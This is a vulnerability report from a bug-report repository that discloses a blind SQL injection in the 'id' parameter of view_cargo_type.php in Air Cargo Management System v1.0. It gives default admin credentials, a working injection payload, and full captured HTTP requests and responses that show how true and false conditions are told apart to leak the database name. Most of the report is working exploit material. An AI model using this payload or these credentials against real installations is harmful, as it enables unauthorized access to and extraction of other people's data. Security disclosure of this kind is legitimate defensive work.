

main

...

bug_report / vendors / oretnom23 / air-cargo-management-system / SQLi-3.md



debug601 Create SQLi-3.md

History

1 contributor

37 lines (25 sloc) | 1.53 KB

...

Air Cargo Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html>

Vulnerability File: /acms/admin/cargo_types/view_cargo_type.php?id=

Vulnerability location: /acms/admin/cargo_types/view_cargo_type.php?id=,id

[+] Payload: /acms/admin/cargo_types/view_cargo_type.php?id=2%27%20and%20length(database())%20=7%20--+ // Leak place ---> id

Current database name: acms_db,length is 7

```
GET /acms/admin/cargo_types/view_cargo_type.php?id=2%27%20and%20length(database())%2
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

When length (database ()) = 6, Content-Length: 1161

Request

Raw Params Headers Hex

GET /acms/admin/cargo_types/view_cargo_type.php?id=2%27%20and%20length(database())=6 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

Response

Raw Headers Hex

HTTP/1.1 200 OK
Date: Tue, 03 May 2022 04:43:28 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1161
Connection: close
Content-Type: text/html; charset=UTF-8

<style>
#uni_modal.modal-footer{
display:none;
}
</style>
<div class="container-fluid">

INT

SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

Load URL
Split URL
Execute

http://192.168.1.19/acms/admin/cargo_types/view_cargo_type.php?id=2' and length(database())=6--+

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Repl

Cargo Type
Description
City to City Price per kg.
State to State Price per kg.
Country to Country Price per kg.
Status

Warning: Undefined variable \$status in C:\xampp\htdocs\acms\admin\cargo_types\view_cargo_type.php on line 32
Inactive

Close

When length (database ()) = 7, Content-Length: 1043

Request

Raw Params Headers Hex

GET /acms/admin/cargo_types/view_cargo_type.php?id=2%27%20and%20length(database())=7 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close


Response


Raw Headers Hex


HTTP/1.1 200 OK
Date: Tue, 03 May 2022 04:42:53 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 1043
Connection: close
Content-Type: text/html; charset=UTF-8





<style>
#uni_modal.modal-footer{
display:none;
}

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENC

 Load URL

 Split URL

 Execute

☐ Post data ☐ Referrer  0xHEX  %URL  BASE64  *Insert string to replace*

Cargo Type

Dry Foods

Description

Dry Foods

City to City Price per kg.

100

State to State Price per kg.

200

Country to Country Price per kg.

450

Status

Active

Close